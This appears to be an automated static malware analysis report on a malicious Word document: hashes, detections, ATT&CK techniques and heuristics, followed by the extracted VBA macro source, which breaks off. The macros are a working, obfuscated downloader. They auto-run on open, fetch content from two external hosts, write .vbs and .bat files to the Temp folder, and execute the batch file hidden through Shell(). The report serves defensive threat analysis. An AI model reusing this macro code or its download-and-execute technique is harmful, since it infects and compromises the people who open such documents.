Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1c5aedae7aa9278c…

MALICIOUS

Office (OLE)

255.5 KB Created: 2015-08-04 11:27:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 8a18a9dcdda50aee9b3606b602c08df1 SHA-1: 64922b693ebc79558c225d472c82599a1777ee43 SHA-256: 1c5aedae7aa9278cccbe3005b93a371e5dc4ecdaca375e4de619f65e56ed4728
370 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains multiple VBA auto-execution macros (Auto_Open, AutoOpen) that trigger a function which attempts to download content from two distinct URLs: 'monitoringinternetu.com/components/com_wrapper/' and 'cdinfla.tables.com/components/com_wrapper/'. The use of the Shell() function indicates that the downloaded content is likely executed as a second-stage payload. The ClamAV detection 'Doc.Downloader.Generic-6698421-0' further supports this downloader functionality.

Heuristics 11

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5213 bytes
SHA-256: c620f9800d81ff9d4eed16bacec37a260da6d4165652d9d2fd830a8052de64db
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub DHbcbnmasb_Open()
    VQNJHWD = "12eh ghj21gehj21 2"
End Sub
Sub hwuNbdqwbdjhqw_Open()
    VBHJASD = "2gh1ej1kj12hkje hkg h2 e"
End Sub
Sub Auto_Open()
    Chypatypa
End Sub
Sub Chypatypa()
     NBVVBNDAS = "hjk1hjkeh12 "
    Vaflivafli
End Sub
Sub AutoOpen()
    Chypatypa
End Sub
Sub Vaflivafli()
    
    Dim MADRID As String, MOTOROLA As String, KIPARIS As String
    Dim TSTS As String, CDDD As String, LNSS As String, STT1 As String, STT2 As String
    Dim PBIn As String, CONT As String
    Dim Ndjs As Integer
    Dim ABTH As String, BBTH As String
    Dim klmn As Integer, TTKK As String
    Dim GEFORCE1 As String, GEFORCE2 As String
    
    KIPARIS = Chr(1 * 2 + 89 + 1)
    MADRID = Samsung(10053)
    MOTOROLA = "T" & "emp"
    PH2 = Module1.Goabc(MOTOROLA) + KIPARIS
    
    ART = 315
    BFT = 316

    Ndjs = Sgn(Asc(Module2.Kakarumba(1)) - 433) + 105
    ATTH = Chr(Ndjs) + Chr(Ndjs + 12) + Chr(Ndjs + 12) + Chr(Ndjs + 8) & "://"

    TSTS = "." + "tx" + "t"
    CDDD = "7777" + TSTS
    LNSS = "rara" + TSTS
    STT2 = "cdinfla" + "tables.com/com" + "ponents/co" + "m_wra" + "pper/"
    STT1 = "monitoringin" + "ternetu.com/c" + "omponents/c" + "om_w" + "rapper/"
    
    
    PBIn = ATTH + STT1 + CDDD
    
    CONT = Module2.Linolium(PBIn)
       
    If (Right(CONT, 1) <> "=") Then
    PBIn = ATTH + STT2 + CDDD
    CONT = Module2.Linolium(PBIn)
    NFBH = Module2.Linolium(ATTH + STT1 + LNSS)
    Else
    NFBH = Module2.Linolium(ATTH + STT2 + LNSS)
    End If
    
    Module2.Crispy (1)
    
    CPLRP1 = "pioneer"
    CPLRP2 = "paytina"
    CPLRP3 = "cranberry"
    
    CONT = Replace(CONT, CPLRP1, PH2, 1)
    CONT = Replace(CONT, CPLRP2, NFBH, 1)
    CONT2 = Replace(CONT, CPLRP3, MADRID, 1)
    
    TTKK = "$"
    
    klmn = CInt(Len(CONT2))
    For i = 1 To klmn
        If (Mid(CONT2, i, 1) = TTKK) Then
            If (Mid(CONT2, i - 1, 1) = TTKK) Then
                GEFORCE1 = Mid(CONT2, 1, i - 2)
                GEFORCE2 = Mid(CONT2, i + 1, klmn - i)
            End If
        End If
    Next i
    
    ABTH = PH2 + MADRID + ".vbs"
    BBTH = PH2 + MADRID + ".bat"
    
    
    Open ABTH For Output As #ART
    Print #ART, GEFORCE1
    Close #ART
    
    Module2.Crispy (1)
     
    Open BBTH For Output As #BFT
    Print #BFT, GEFORCE2
    Close #BFT
    
    Module2.Crispy (1)
    
    QUHDQ = Module2.Puhlo(BBTH)
    Module1.Hameleon
    
End Sub
Sub Workbook_Open()
    BHJWDQ = "12eghj12 geh1fghe "
    Chypatypa
End Sub
Public Function NHdjhasbdhas(a As Object)
NHdjhasbdhas = (a.responsetext)
End Function
 
Public Function Samsung(a As Integer)
Randomize
Samsung = CStr(Int((a / 2 * Rnd) + a))
End Function
Public Function Hhqudhqwgyuqwaaa(a As Integer)
Hhqudhqwgyuqwaaa = Sgn(a)
End Function



Attribute VB_Name = "Module1"
Sub Hameleon()
Dim ij As Integer
Dim charCount As Integer
charCount = ActiveDocument.Characters.Count - 1
ij = 0
Do While True
    ij = ij + 1
    If (ActiveDocument.Characters(ij) = "#") Then
        If (ActiveDocument.Characters(ij - 1) = "$") Then
            ActiveDocument.Range(Start:=0, End:=ij).Delete
            ActiveDocument.Range(Start:=0, End:=charCount - ij - 1).Font.ColorIndex = wdBlack
            Exit Do
        End If
    End If
    If (ij = charCount) Then
        Exit Do
    End If
Loop
End Sub

Public Function Goabc(sps As String)
AAUQWHDQW = "178231789378291e"
Goabc = Environ(sps)
End Function





Attribute VB_Name = "Module2"
Public Function Puhlo(a As String)
Dim bydd As Variant
bydd = Shell(a, 0)
End Function

Public Function Linolium(nbqjbdjqw As String)
Dim dhjqwqkjww As Integer, aaqjwhdq As Integer, Nqhdkjahsjdhjkqwhkdqwh As Object, 
... (truncated)

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